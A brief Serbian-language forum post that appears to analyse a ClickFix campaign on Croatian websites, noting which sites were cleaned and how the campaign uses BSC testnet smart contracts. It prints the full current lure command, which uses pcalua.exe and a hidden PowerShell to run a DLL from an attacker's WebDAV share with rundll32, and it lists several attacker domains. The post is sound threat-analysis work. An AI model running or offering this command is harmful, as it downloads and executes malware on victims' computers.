[milos_rs]

video-studio-vrbanus.hr je očišćen od ClickFixa

luxury.rent-a-car.hr doduše nije...

   

Koristi iste BSC testnet pametne ugovore da preuzme ClickFix kôd kao i da proveri da li je IP adresa već "odrađena"

kopirana komanda se promenila, sada je :

Code:

pcalua.exe -a "powershell" -c "$s=([wmiclass]'Win32_ProcessStartup').CreateInstance();$s.ShowWindow=0;([wmiclass]'Win32_Process').Create('cmd /v/c pushd \\vgmxlrqi.site-shartbandi-pasor.online@SSL\31667ea0-2fce-4b99-a691-da50e63c58cc & rundll32 gz.keu,#1',$null,$s)"

Payload se takođe promenio :

https://www.virustotal.com/gui/file/06f6.../detection

   

domeni koji su se izmenjali dok sam analizirao :

Code:

vgmxlrqi.site-shartbandi-pasor.online hxjqzgav.taktikkbet.com gityegkd.taktikkbet.com